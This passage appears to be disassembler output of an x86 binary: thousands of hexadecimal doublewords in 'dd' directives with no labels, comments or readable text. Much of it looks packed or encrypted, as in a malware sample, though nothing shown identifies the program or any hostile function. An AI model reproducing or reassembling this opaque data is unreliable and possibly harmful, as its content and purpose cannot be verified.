9C3A12A3h dd 0AD117040h, 14FD85Ah, 0C27E0000h, 0B51670E5h, 0BEDF109Dh dd 0A7DF0A36h, 0BC8E2208h, 73B62734h, 0C168EBCh, 4396B889h dd 3687A909h, 22084716h, 4E70C193h, 9FFE4FF9h, 51E4F6FEh dd 0D3686AFBh, 4FE2E475h, 77FB6CFDh, 73A44D02h, 0EBFBDB6Ch dd 55E6648Ah, 0FBA37DA2h, 15D7B169h, 1D2C20B1h, 4FE2F4FCh dd 0B785DDFDh, 1F5AADD3h, 59h, 51DDC243h, 1979B7E2h, 45B5761h dd 5C7E617Eh, 96F7460Ch, 7F43BF4Eh, 0B4C6F62h, 9DE880DAh dd 291FB490h, 86D7FB1Ah, 6796A7C6h, 909DE7EBh, 420683EDh dd 0F46E9F25h, 0BD909DE7h, 6BE57658h, 0FDDABBDAh, 627EEE88h dd 0F64367EFh, 468E0F5Eh, 6B4664A9h, 91h, 4BE0C2C7h, 0C8A9AB3Ah dd 6AFB55E6h, 4C95A12Bh, 0D766E677h, 85F8D7B6h, 168EA178h dd 2E2D3C61h, 11C40E09h, 5DBC8DC1h, 88B43E76h, 0A9B89226h dd 0DB6E6068h, 0DE6F5171h, 2DAEDF6Eh, 6E0A8A92h, 0AA3BE764h dd 8F1D05A2h, 0DBDBF9C3h, 32A30086h, 10723B3Bh, 183286ACh dd 6300C849h, 9E2F1322h, 94C99FAEh, 4C85C0ABh, 7B452895h dd 0B9B07811h, 10C9EECDh, 2FDF095h, 0F1CE0BD5h, 89D87CC9h dd 3657F345h, 0C50F4594h, 58792F46h, 0CDED300Ah, 0C8BEA373h dd 3EE3CCEBh, 2847DA19h, 0BBB2519Bh, 2C168614h, 8600B03h dd 9F3097B5h, 40AD3791h, 6B4F8CDDh, 686A72DAh, 291FB4D5h dd 3A98F918h, 91DC321Dh, 6D246538h, 6CE07163h, 6CDCACDDh dd 28BC3EA5h, 0A12F1322h, 0E26A36EBh, 4D2C73AAh, 92276BFCh dd 8BAF90A3h, 3FC9133Bh, 87C518CAh, 9CB00127h, 503A89CDh dd 942AEADAh, 6CCA80C2h, 869A9B00h, 0E8FC4D2Ch, 0CC5D15A6h dd 0AD002280h, 0A991CE9Fh, 0E2233216h, 11FFDAh, 0F7E00000h dd 38749190h, 0C981D30Ch, 70781978h, 0BDE17BE6h, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h, 4C7h, 4BE5600h dd 29000000h, 3C875EF7h, 89525C24h, 4C281E2h, 83000000h dd 148704EAh, 1C895C24h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 243C895Ch, 18EA8E68h, 241C8B06h, 4C481h dd 0EC830000h, 24248904h, 4240483h, 3481535Fh, 36100B24h dd 8478F37h, 100BBE56h, 77313736h, 3C8B5E08h, 0E0895024h dd 405h, 40500h, 4870000h, 1C8B5C24h, 0E2895224h, 4C281h dd 0C2830000h, 24148704h, 9156E95Ch, 0EDD7FFFAh, 0DA3D931Ah dd 4D1D4049h, 0E757545Bh, 18EF76B8h, 0FFC50306h, 6F1FCDE0h dd 37F27206h, 0ADAEE17Eh, 795F6351h, 923DBF64h, 1843553Fh dd 0A4203865h, 99B55425h, 0A8E75233h, 38A04F5Ch, 0D8408607h dd 0EDF8F317h, 0D380B209h, 0AD313E17h, 0EF1F2C63h, 0A69B24h dd 0E5D8F26Ch, 28D11E2Dh, 0B432E105h, 366B5749h, 0A34EA63h dd 0DF2450Fh, 93E60E44h, 1E6BC877h, 4ACE5F4Bh, 48F00676h dd 0FAD65D46h, 3F6C5C11h, 0B31FD24Ah, 637A1534h, 11E863h dd 3DEB0000h, 0BE217022h, 0C3E95150h, 451C26E8h, 0FDE0BC0h dd 28Ch, 58CF8B00h, 81DABF0Fh, 5AE0C0h, 2719BF00h, 0F781131Bh dd 131B3180h, 0B1308BFCh, 64EE819Ch, 8174477Ah, 52A5E6DAh dd 19C6810Ch, 0E84C46FCh, 7, 52260626h, 0F542239h, 84h dd 0C6815900h, 74994BAFh, 0CFF38166h, 0BF0F56FCh, 66008FD6h dd 24F5CB81h, 6603E883h, 4892A0BAh, 850F4FFCh, 0FFFFFFB1h dd 8D8DD78Bh, 618F19Fh, 89F7BF0Fh, 131BBD8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 2DE624A6h, 0DD85C7E9h, 8C061318h, 66000059h, 85C7D98Bh dd 6133055h, 0 dd 6BDB501h, 0B5FF0613h, 61320B9h, 6E9h, 76C9F900h, 0FF95474Ch dd 131D8995h, 10E906h, 7ABE0000h, 0AEDBA021h, 77F1C840h dd 0F670412Fh, 6AA1FBh, 0DA995FFh, 0C08B0613h, 2D592FEBh dd 1ADF0E52h, 0C7587ADh, 629A0D65h, 69A6111Eh, 91AAD0C8h dd 0DE5B9F44h, 32FF62D5h, 0AFF27224h, 0E2BAC803h, 3364E10Dh dd 0AA51537Dh, 5E818h, 0BA290000h, 0F086049h, 985h, 38C0F00h dd 0F000000h, 815BD1BFh, 6FDEC3h, 0BFFCB200h, 0 dd 6859DA81h, 0C8B2D18h, 810F523Bh, 1, 0C1815EF9h, 13FBB23Eh dd 9E956h, 0CFFB0000h, 1995FE47h, 5E2DEC9Eh, 231C181h dd 10E80499h, 2000000h, 31452F7Bh, 0E4237F30h, 823285D7h dd 234F1D7Ah, 130D05B5h, 0F1815806h, 8BCF7DBh, 0AE860h dd 0C71B0000h, 239B6B68h, 69A70DA0h, 0B5B503h, 0F9580613h dd 95895161h, 613221Dh, 663B048Fh, 0B529D18Bh, 613211Dh dd 0C413EF81h, 0B70F1FA2h, 0FC781C7h, 661FA2C4h, 0FF81C18Bh dd 0FFFF9104h, 10850Fh, 0E9F90000h, 24h, 30D574DCh, 4AD8DD13h dd 0BF0F5E4Eh, 0FF54E9F1h, 0D43DFFFFh, 0F917793h, 294055B7h dd 9821B3Ah, 542EB427h, 0E1E9h, 0D9843500h, 459CD706h dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h dd 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 0Ah dup(0) dd 13E90000h, 68000015h, 618F5E6h, 0FA8DAFE9h, 0F6EC68FFh dd 0A5E90618h, 68FFFA8Dh, 618F7FBh, 0FA8D9BE9h, 0F95A68FFh dd 91E90618h, 68FFFA8Dh, 618F9BAh, 0FA8D87E9h, 0FA7F68FFh dd 7DE90618h, 68FFFA8Dh, 618FB37h, 0FA8D73E9h, 0FBE668FFh dd 69E90618h, 68FFFA8Dh, 618FCADh, 0FA8D5FE9h, 0FDB768FFh dd 55E90618h, 68FFFA8Dh, 618FE9Eh, 0FA8D4BE9h, 0FFE068FFh dd 41E90618h, 68FFFA8Dh, 61900C8h, 0FA8D37E9h, 1ED68FFh dd 2DE90619h, 68FFFA8Dh, 6190378h, 0FA8D23E9h, 52968FFh dd 19E90619h, 68FFFA8Dh, 6190624h, 0FA8D0FE9h, 94C210FFh dd 8CC21436h, 92B80C2Eh, 93BD0E34h, 94C00D33h, 0C3280736h dd 0DA00DE76h, 0C8EAC88Ah, 0D3F5D573h, 0DFECCA82h, 0A9118D00h dd 0C7DA16B6h, 51E0C29Bh, 4697B903h, 6E9FF543h, 109DB4F4h dd 583958BDh, 4A0A577Bh, 4EDFE382h, 89E0E0FEh, 8C01DEFDh dd 109DB512h, 737DF4DBh, 3FC59797h, 1449965Eh, 168F2DD9h dd 0E3122362h, 0A8B2A63h, 2E3F0F9Fh, 0FB3992Ch, 0D5BD8CBCh dd 0ED7BE3Bh, 335AE9D1h, 7E9FAEA6h, 0B70C4E1Fh, 2041C091h dd 0AFDD6E98h, 5AAC93E1h, 6149h, 0BEA3ED00h, 0D48D3802h dd 0DB0A470Ah, 109E0F7Fh, 0FFA4C548h, 36D1683Fh, 0EECDAC79h dd 8F809E7Fh, 912E6F16h, 70E33FAEh, 8D140A8Bh, 5351874Bh dd 21ABEA79h, 0A9D85C2h, 0E6EE2F3Eh, 8B7E27A7h, 7ED6630Ah dd 0F55DEBEFh, 97349E64h, 123827AEh, 5EBF8EC0h, 5D7FFC96h dd 5AAC239Fh, 0E647h, 6CBD1B00h, 0E06D51E0h, 1B2A1EB1h dd 88CA9BFAh, 97B81735h, 9DB4EC66h, 0C3912010h, 18C71174h dd 53E6A336h, 0D46668F9h, 5C7A1B7Ah, 7DBC547Bh, 9450E54h dd 44C594B8h, 0FB578625h, 0C4109E3Ch, 74087741h, 0E1109E38h dd 38138FFEh, 0B9DC109Eh, 0C08C1D2Fh, 4CA1BCE3h, 4B70DA6Eh dd 0E3ED67DDh, 0CA82D3F5h, 0A4243D7Bh, 9DD9D531h, 1E7F9E10h dd 0DF494CC1h, 0E322168Eh, 0E89EC3C3h, 35B79ACBh, 0D901075h dd 173D8CAEh, 104491B7h, 0FA571D5Dh, 0C29F4E79h, 11F7h dd 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h, 9B3B19A8h dd 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h, 557A4767h dd 0B6A9A620h, 83A6F16h, 0C7E470BDh, 0CC5FCE0h, 0B4088BFBh dd 0EFEDF796h, 0C31178C9h, 0E9D1EE8Fh, 2869F85Ch, 0A318B2A0h dd 0CCEBC8BEh, 0D7FB55E6h, 8DFCC484h, 168E988Ch, 0FA56E5CDh dd 45A22A6Bh, 91C4E3C0h, 0A8A8935h, 0C68CDCFEh, 3FCE1DA7h dd 0A8A88DFh, 0B081C91Bh, 0FD523F8Eh, 0FA9BFA4Bh, 0D16A686Bh dd 3E36CA1Eh, 0B8D97DFDh, 3864D531h, 5AADA578h, 0A7A5381Ah dd 569EB603h, 0A8CFh, 6CBD7300h, 0E06D51E0h, 2094E574h dd 88109DB1h, 91B71735h, 0FF3D0C40h, 0C589D9EAh, 57741574h dd 8EB52326h, 3999FC16h, 5A2E4FDh, 7500DED0h, 19B6D710h dd 83F2A431h, 474FC07h, 0DC694DD0h, 98BA1978h, 0D7360745h dd 0CCEECF0Dh, 0CA0CD47Ah, 60A4D97Bh, 7D79FA30h, 10F1F3EEh dd 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh, 17A68C2Ah dd 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h, 5171DB6Eh dd 0BC164788h, 8516B6AAh, 70BD320Ch, 54E3C7E4h, 0C9E6F4FCh dd 0CF3E50E1h, 109DB553h, 5098F91Ch, 1A1ABFEh, 4BE0C2A7h dd 50E1F3FDh, 0D8696DFCh, 0E5735774h, 33BDDC6Dh, 99B10325h dd 563386C8h, 0F5684701h, 109DB499h, 64422362h, 2940593Ah dd 6E0F7E5Dh, 7F168EA5h, 0F1A70F58h, 8A2CD9B6h, 91721335h dd 4489DFCh, 16AABFE1h, 62CE254Ah, 5F6CB6D7h, 6D4075B0h dd 1F4E6D0Ch, 18F0FBA2h, 4DC93C1Bh, 160CECE5h, 29A5D8F7h dd 0F20CECE5h, 799C4993h, 99CCEBE8h, 0CECE53Dh, 0DE6FE371h dd 636DB0BFh, 57741257h, 0DAF8D926h, 0E8C74612h, 8FDE70C2h dd 0BAD95A48h, 5031789Dh, 0D6674B88h, 7765976h, 6D6888Bh dd 0A9A73154h, 3711A68Ch, 0FBDDE726h, 5E901C6Ah, 6F2E6778h dd 17175B0Eh, 89207C5Bh, 0FE24Ch, 2C2AB800h, 341AAC8Eh dd 2A20B496h, 3B15A68Ch, 2C28B59Bh, 7B909F8Eh, 624866EEh dd 2280D2h, 1B3D9DABh, 172482CAh, 0AC49C538h, 0FF1216B6h dd 0E06CBD63h, 90D2DCC3h, 3F30D03Ah, 0B80061F1h, 0B0D60B29h dd 6DBE213h, 62C168Fh, 48C998B2h, 71E4E380h, 0A8B0415h dd 1DEBFDEh, 77C68AD9h, 9090CE16h, 0B18E2D59h, 4035F8Eh dd 49CC0A8Bh, 0EFD5007Fh, 4C6E107Bh, 0DA8751F7h, 0FB5BAABBh dd 520477EEh, 0B39443B8h, 77EEC842h, 0C40C9104h, 9BD05C1Ch dd 0CA1C3E50h, 0DDC81F84h, 8DAB3D3Ch, 45DC43h, 0A3820000h dd 0CCEBC8BEh, 0B5207AEBh, 0A4E9109Dh, 0FBF8ED1Ch, 3921168Eh dd 0CD1AA2A6h, 0F4476B48h, 89077654h, 0C10A8A65h, 0D8FFDC70h dd 6B263BE6h, 6F6D771Fh, 352F649h, 0F02C6h, 0D8BEE900h dd 86E92CE3h, 0A365EFF9h, 7AEBC8BEh, 1685488Eh, 0D4735C7Bh dd 288530A1h, 68B22C5Dh, 1A7B0A85h, 0D4735C7Bh, 9CE30D6h dd 0BB9FBC04h, 0A384222Ah, 47F55184h, 5FBE0A85h, 5860E87Bh dd 0D869E376h, 0A20185DCh, 6CD99833h, 1BB8DD10h, 88C2163Ch dd 0B4795B9h, 0DD70626Ah, 0D8694F6Fh, 0B8B864AEh, 8EEFE0E7h dd 1E6881BFh, 95114CC1h, 3B5A0A5Ch, 0DDC8D646h, 815C0B73h dd 0E83h, 2B8BCB17h, 3999B505h, 2585C517h, 3E9CB403h, 2787CD1Ch dd 83D23BF4h, 81CFF1D1h, 7CCFF1D1h, 79CCEECCh, 0E9E6F3D3h dd 0B6AE1A74h, 94AEE316h, 9DB51270h, 592D3410h, 46580B7Ah dd 88D1685h, 163687ABh, 0D3F92B8h, 9DE9003Ch, 0B3C6CF3Eh dd 66A71075h, 0F6E493F3h, 0D8F5B479h, 0E23h, 4B6BEB77h dd 5979D565h, 4565E577h, 5E7CD463h, 4767ED7Ch, 23B2DB54h dd 21AF9131h, 1CAF9131h, 19AC8E2Ch, 89C69333h, 0B6ADFA54h dd 0F44EC316h, 14FE0C2h, 84495B7h, 0C2C41539h, 2B871D89h dd 83D2B3D2h, 0E6775B7Ch, 2EB6D766h, 9AC067E4h, 63F14045h dd 5222BA02h, 0FAA341A9h, 890h, 0FDDC260h, 279AF514h, 5D84B038h dd 0D75B8A29h, 0F016857Bh, 0E90027E7h, 75E80E20h, 0A850419h dd 0A3C2A3E2h, 0C18B1E04h, 4DDEC4E1h, 9D33203h, 0F9D676C7h dd 0BC0B82D1h, 7CEBF594h, 85038D0Dh, 0CCBAAF0Ah, 0D37BCBEFh dd 0E6EE5EEFh, 0F57D84F9h, 0ECCE1075h, 7CE9F359h, 27086419h dd 561579F7h, 0D5E7Bh, 0A8AE3C00h, 0B896280Ah, 0A6A4381Ah dd 0BF912208h, 0A8AC391Fh, 0F7141B0Ah, 0E6CCEA6Ah, 0FCDEFC56h dd 0DFC1E167h, 13E0FE4Eh, 0AF3D99CCh, 930616B6h, 0E06CBDAFh dd 20557251h, 109DB4A6h, 0B4A62E6Fh, 751A2B21h, 783864D5h dd 0E0A341E6h, 7DCh, 0B5127076h, 6F53109Dh, 2E1EAFE2h dd 3039854Fh, 0A2047956h, 3B168547h, 0ABDAFDDAh, 0A84C12Fh dd 2CA6D7F8h, 0F50A84C1h, 0EAE7F190h, 0F7D775C8h, 310E80D1h dd 84C162BCh, 7BEA2B0Ah, 0A84C11Fh, 75C4A5E8h, 43913237h dd 0BEDF3E0Fh, 6D193E21h, 4A77AB86h, 272E5D67h, 8107638h dd 6946D085h, 0E87F79F7h, 0CA6EDh, 0F066F400h, 0F05EF0D2h dd 0EE5CF0D2h, 0F759EAD0h, 0F064F1D7h, 1F4CE3D2h, 0BEE4C292h dd 0E4C6E46Eh, 0F7D9F94Fh, 0FBC8E666h, 0B025A1D4h, 0BBEE16B6h dd 0E06CBD87h, 70DC6D51h, 0F4CF6C53h, 44C49E39h, 0AC26ED7Ch dd 7E2FED0Fh, 2597A341h, 28000007h, 559FB102h, 0C8BEA38Bh dd 484B7AEBh, 96BC1685h, 0DA3B0A44h, 5BEA68F8h, 567C5B3Ah dd 435D8303h, 0BC5957B7h, 22432228h, 410B9E84h, 61EF4062h dd 0B827B1D0h, 0BCCEB49Bh, 994A2D46h, 0BC52B04Fh, 0AF930A84h dd 0E1203121h, 86DBD7h, 0AD4B32A3h, 0E92C1075h, 0F6DDEC74h dd 7F5A1179h, 0BF7h, 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h dd 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h dd 557A4767h, 0B6AFA620h, 83A6F16h, 51E06CBDh, 8BFF5072h dd 72CADD3Eh, 340564CDh, 0BA8BBD12h, 0A0B23A5Bh, 692E3F0Dh dd 6C2C50E9h, 0EA34135h, 0A4626429h, 8BCC2134h, 71D5759Dh dd 0D14890F1h, 65Ch, 1F6BC0E2h, 9EA474EEh, 0B9D83D10h dd 1570A52Fh, 2F109DB5h, 1337893Ah, 5A2C342h, 854880D0h dd 2E7DA516h, 0C84D9A22h, 0C7EBCCEBh, 2FABDA7Ah, 0F80A84C2h dd 0B8094B95h, 0C1143694h, 637EBA8Bh, 0B180CE60h, 0B5923150h dd 0C8103C8Dh, 75BCDC39h, 0ED60A510h, 79F6DA7Dh, 3002DF8Eh dd 6A00000Bh, 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h dd 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh dd 6F9EC18Ah, 16B6B0F3h, 0BDF965BCh, 6D51E06Ch, 19E170DCh dd 0D5681AAFh, 3DFB5777h, 0A5A341EAh, 120h, 0E06CBDB9h dd 0B2DC6D51h, 9DB4C743h, 6C0D9010h, 6F17524Eh, 0A2E01D50h dd 0EED9168Eh, 0EDB0625Ch, 0BB8D22A8h, 0C20A6BAAh, 2051E025h dd 0A8AA8A2h, 74F5DAF9h, 43668CA9h, 0A9226C74h, 0AD6BB583h dd 0E173575Ah, 2FB9D869h, 20E8h, 0BEA34E00h, 9B7AEBC8h dd 6C168E98h, 69E91829h, 0C00A8A89h, 0C987B546h, 715AAD3Eh dd 9Eh, 69DDC2C5h, 9D3EAF22h, 0ABFE5098h, 1FAE90A1h, 8F222435h dd 0AD3C1EBDh, 8CCE1DA7h, 40B31339h, 109DCFBCh, 3B9BB104h dd 3A0E6FBh, 88175ED2h, 9D3A5B16h, 0E16628B5h, 0A963270Ah dd 85AD0A6Bh, 0C6471632h, 6BFAE0FEh, 1DC074E9h, 6EFD800Dh dd 0A2673h, 70E67400h, 70DE7052h, 6EDC7052h, 77D96A50h dd 70E47157h, 9FCC6352h, 3E644212h, 644664EEh, 775979CFh dd 7B4866E6h, 0B1A52154h, 3B6E16B6h, 0E470BD07h, 72C1E9C6h dd 0C60E8FDEh, 0AC0B4194h, 0BCC1183h, 0E2EADFF8h, 6CBD56F4h dd 0AB008F1Dh, 2C6DFC9Dh, 87DAFC4Dh, 95CAE5C5h, 68000004h dd 0DB0ABEA3h, 109DB57Fh, 1D2A22B3h, 0CC86D6F8h, 5E7D1C7Dh dd 8EAD862Fh, 35A8A716h, 0A8A9AD9h, 330263A2h, 8A9B44C2h dd 0DA6F9B0Ah, 0AD0CE2B2h, 1F14A5Ah, 70F00000h, 109DB517h dd 0A0FA6B4Ch, 69109DB4h, 49A09C24h, 36F9E3Dh, 0AC168548h dd 456D4A69h, 8B0A5BF7h, 8EBE0F41h, 95B70A30h, 8DC31436h dd 0D4935DBCh, 0D6F591D8h, 3ED2CEF1h, 0EBF593D9h, 6D227FEEh dd 0AAEB1076h, 0F78D0BB7h, 58753479h, 93Fh, 67470F5Bh dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh, 0B6B30E88h dd 0A0C2D716h, 0C91A6CBDh, 0AF7A372Dh, 12340564h, 0C0B2C7BFh dd 55088956h, 0E6FE371h, 40B9573Fh, 0AD0D3F92h, 41AE4715h dd 3FE29A3h, 0C0EF19BCh, 3CB2E9F3h, 88000001h, 51E06CBDh dd 5370DC6Dh, 0F3A3296Ch, 268DA14Dh, 1282867Eh, 2E2CB49Bh dd 308FF7F2h, 0FB84DE0Fh, 0C84D109Dh, 68F953E6h, 43B29F29h dd 168EE8E6h, 0EE1F2E6Fh, 0A8AE570h, 8EAE4BC7h, 5AACD6CEh dd 4276h, 0E0C2CC00h, 2E6FFE4Ch, 374F9AA6h, 6C21B298h dd 0A2E372D8h, 0FBDCF9C3h, 0B52DA9DCh, 97F6109Dh, 98DFBE4Dh dd 6DB0168Eh, 8CDBFFDCh, 0CC1475C4h, 8A88DD3Dh, 61DA340Ah dd 0AD3E7D3Bh, 0A2E55Ah, 0BD790000h, 6D51E06Ch, 0E6E574E0h dd 0EC2175C4h, 109DB572h, 31BBDA3Bh, 0AFBE8E1Fh, 94321AABh dd 9DE7EB61h, 0C6371810h, 109D624Ch, 0E6E8F015h, 50CA3B53h dd 19109D62h, 0F93595F4h, 0C43996F0h, 1687C030h, 0E7CBE82Dh dd 0F6DCFA5Ah, 0D078ED67h, 0E5800CF0h, 7FD0B46h, 119D0000h dd 0F3436545h, 3557B5Bh, 0F2416747h, 0B5A805Eh, 0F53A6949h dd 0AB0B4998h, 0BB1B3785h, 0A8064295h, 0BD1D2F82h, 0E03AABB4h dd 0A916B6B3h, 0DDC2CE70h, 0FA6BDA9Dh, 109EAAA0h, 0D17F2469h dd 8DBF09A0h, 94B61440h, 0DAB0B41h, 51E06CBDh, 5270DC6Dh dd 27377h, 0DE725800h, 0C2FA646Ch, 3DB3D2DDh, 0B3D263EFh dd 5C6F6E0Ch, 45412894h, 0D3614966h, 25AFEE7Fh, 8625D6E6h dd 3687CB16h, 0A7C64716h, 9EE76796h, 0D43E0A85h, 471537h dd 0E3EF5AA6h, 53000001h, 9DB51770h, 52342D10h, 47E80075h dd 0A8ED1685h, 0B696270Bh, 0AFA33119h, 67757F9Eh, 7F5CF041h dd 43DAD958h, 85A6B812h, 0B71C810Ah, 14DC64F2h, 2547655h dd 3138844Ch, 4547655h, 2459864Eh, 107617A9h, 985E1372h dd 0D979F737h, 7153712h, 39850000h, 4B9BBD1Dh, 2B7DA303h dd 4A99BF1Fh, 3382A806h, 9D928121h, 5373E170h, 5373DF6Dh dd 506EDA6Dh, 5575D76Ah, 0B812438Ch, 8116B6B4h, 6CBD3628h dd 0DC6D51E0h, 0BE7A52AAh, 1C5106D3h, 109DFEC2h, 0A6B0A8Bh dd 2002533Bh, 0BEC1FB8Fh, 6DE65D4Bh, 14DC3D0Ch, 7456017Ah dd 6D5F69DFh, 0FA5270DCh, 0A3419C3Ah, 125A2h, 6CBDB800h dd 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h, 72D02130h dd 0C90A8A9Fh, 0D0A0CC3Dh, 785AAD0Ch, 2Ah, 0C8BEA3DEh dd 989B7AEBh, 296C168Eh, 8969E918h, 46C00A8Ah, 3EC987B5h dd 0BB715AADh, 42000000h, 2ABACB60h, 99F84928h, 6CBD854Fh dd 557251E0h, 9DB4A620h, 0C88ADA10h, 0CA4B1879h, 0C68F4EE5h dd 0C20AC8C0h, 42134190h, 0CE9FAD00h, 3317A991h, 0BE8C2022h dd 72C315DFh, 2389FCDAh, 2B109EA7h, 1414B29Ah, 0EB1AB9CDh dd 16887155h, 0AE943352h, 0B996351Fh, 886CCA44h, 4D72930Ah dd 5F2EA2E6h, 63717BA4h, 0F164F03Dh, 800DD62Bh, 0F0B49158h dd 0AA000005h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h, 68E4755Bh dd 2F5E814Ah, 16B6B5B3h, 0C239257Ch, 0B0FD68DDh, 0D7E19FE9h dd 0CFEC68F5h, 0E8F058EBh, 0D775C8EAh, 6CBD59F7h, 71C08C1Dh dd 0C842B310h, 91109DB4h, 0FFDC6D0Ch, 34F2D4D8h, 4A92CB34h dd 3797B508h, 5318h, 0DDC2B600h, 0C4390BEBh, 109DB64Ah dd 24CDF213h, 0EF5FEFBDh, 0C114468Eh, 0B29DBA8Bh, 365778B9h dd 0A9FEA077h, 0B203559Fh, 3A87CB9Ah, 0B8074B1Ah, 5993C998h dd 80832FE0h, 0BC611E95h, 73088ADDh, 0DE6EBFh, 118D00DFh dd 0DA109DF5h, 472631BBh, 8C000000h, 4EE0C2h, 94396B8h dd 23A28DAAh, 5368E143h, 0B1B32F5Eh, 197C109Eh, 60E110CFh dd 41109EB2h, 0B08F38D1h, 9EB1E13Dh, 616BAA10h, 516EDE6Fh dd 86B0466h, 6771DC69h, 0D2664C69h, 0C7E15378h, 2703B73Bh dd 6CBD439Dh, 0B557B322h, 0FD20109Dh, 72C387D9h, 0C5E37213h dd 0EACDEA9Ch, 9DB51F7Bh, 76E7E810h, 109DB51Ch, 0F7C1A0E5h dd 82D5FDDAh, 818FFEC6h, 6E168548h, 0C1A2FC71h, 2A6B0A84h dd 0F3466C4Bh, 6577959h, 0F2D8F746h, 8CCBF062h, 1D4A782Ah dd 0F5EC4890h, 8C33291h, 4D106C47h, 0F899B505h, 0E666F7DBh dd 0FD4FE2C8h, 6D19506Ch, 0A2021F4Eh, 9CBB0A5Ch, 58A0ED69h dd 8D57B6FEh, 0FEC8BDE0h, 1773DDD6h, 4657550h, 0A9350000h dd 9B2B0DADh, 9B2D13B3h, 9A290FAFh, 0A33218B6h, 0D2211B1h dd 0A30351E0h, 83232F7Dh, 0A03E0A9Dh, 852527BAh, 0E86293BCh dd 0B116B6B7h, 6CBDC678h, 4DE0C2E0h, 0D96C6EFFh, 0AE1CE273h dd 0B2D4651Dh, 96E38125h, 9DA07279h, 0C5CF5D42h, 4EC83Dh dd 0F617109Eh, 7CD8F697h, 0A341A1BCh, 5E24h, 0DDC23A00h dd 2C9CE174h, 0E6529AB3h, 32C8BFBh, 2009FD0Fh, 0D409A6AEh dd 109E287Ah, 0DDFAC243h, 8F6EB5A8h, 69FCDE16h, 468CD9E3h dd 8A0B5AF4h, 7AEBCCEBh, 0A8AD920h, 3F1CA4E9h, 0A5A73A20h dd 696B7594h, 6D5572D6h, 6E6C74E0h, 8AD8A1FFh, 0C488D90Ah dd 0D96FC4E6h, 3A54D88h, 0BDF10000h, 6D51E06Ch, 6C5370DCh dd 2238D9D0h, 3220A865h, 3C9BEBF6h, 8F0B6CC9h, 3390F516h dd 0EC401F0Ch, 45CDF258h, 9847911Eh, 8BB3E969h, 2F13400Ah dd 7507AC9Ch, 92919741h, 0E455AF39h, 0ACD8F8B8h, 29B89A5Ah dd 207AA12Bh, 0E0000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0C5715Ah, 0BDC50000h dd 0A58D1A6Ch, 0F464E27Bh, 0A087C495h, 7AFD6D0Bh, 6E60680Ch dd 0E2E475DFh, 6F6CFD4Fh, 0C4C11D50h, 0B8A109Dh, 0E3E8FC1h dd 0C0C73DB0h, 9E2F109Dh, 972A10AEh, 83A7A4B5h, 45035833h dd 0ECF495F4h, 9B2A99D0h, 869A8B9h, 90EF3AABh, 7598168Eh dd 76105955h, 0F78A2459h, 72931074h, 0B1E06D55h, 0FC1D2C20h dd 0B9193E9Dh, 0A411572Eh, 59E862F6h, 418F5938h, 0CF82D25Fh dd 79FAE825h, 0B446832Ah, 0E6000002h, 0FAE0FE58h, 0E2C8E668h dd 0FCDEFC4Eh, 0E3C5E56Bh, 0EDE0FE56h, 0B89C2942h, 0AAA8381Ah dd 0B791260Ch, 0ACA03117h, 0EB1A450Eh, 16B6BA6Fh, 0BD7DE138h dd 0F39B1E70h, 220CC71h, 0CC5D4363h, 0A3882280h, 7AEBC8BEh dd 168E989Bh, 0E918296Ch, 0A8A8969h, 2D3C18A5h, 66F59C29h dd 0D4BA8BEAh, 9D0C536h, 10E00C7Dh, 0B85AAD3Eh, 0D8h, 0E06CBD9Eh dd 74E06D51h, 0B12094E5h, 3588109Dh, 4091B717h, 0AA90AF0Ch dd 0C9453416h, 92109DAFh, 0BEFA6973h, 0E3C4E3A3h, 0B03591C4h dd 0DCFE109Dh, 1574C58Bh, 0D01D6C74h, 79168E80h, 6598B714h dd 0A8A7EE9h, 4B8953B2h, 5370164Bh, 74DC2722h, 0EADF010h dd 0A5B49A2Ch, 0BC164764h, 850474D7h, 0B79BB800h, 0A28D2A2Ah dd 0AF09680Bh, 70DE7092h, 0F7C1A0E1h, 0AADBFCD9h, 475AF30h dd 0A4C94F9h, 0F6E499BBh, 2779FAE4h, 1B94580h, 55E10000h dd 2F7FA101h, 4799BF1Fh, 2E7DA303h, 0F9E8422h, 0F9366545h dd 0AF0F4594h, 0B7173B89h, 0AC0A3E91h, 0B9193386h, 0E43EAFB0h dd 0AD16B6BAh, 70BDCA74h, 51E4C6E4h, 6E5F9635h, 0E775E09Eh dd 4B6B0A6Bh, 56F4486Ah, 0A43E8607h, 51E06CBDh, 1FADDC6Dh dd 82E32233h, 0A1ABFE24h, 764D9490h, 0AD0A6BE5h, 3513A88Ah dd 